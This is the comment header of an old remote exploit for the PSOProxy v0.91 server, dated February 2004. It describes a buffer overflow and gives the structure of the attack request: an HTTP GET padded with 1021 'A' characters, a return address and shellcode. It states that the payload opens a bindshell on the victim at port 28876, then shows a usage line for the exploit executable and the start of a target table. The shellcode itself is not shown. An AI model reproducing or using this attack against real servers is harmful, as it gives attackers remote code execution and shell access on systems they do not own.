- -== Remote Exploit for PSOProxy version v0.91 ==--
- Code by: rave
- Contact: rave@rosiello.org
- Date: Feb 2004
- Bug found by: Donato Ferrante
-
- There is a vulnerability found in the PSOProxy server.
- An attacker can execute arbitrary code exploiting remotely a buffer overflow.
-
- The exploit sends:
-
- GET / <1021 x A><adres of the shellcode><shellcode>
-
- This spawns a bindshell on the victim at port 28876..
-
-
- Usage <C:\>psoproxy-exploit.exe <target host> <target number>
- Target Number Target Name Stack Adress
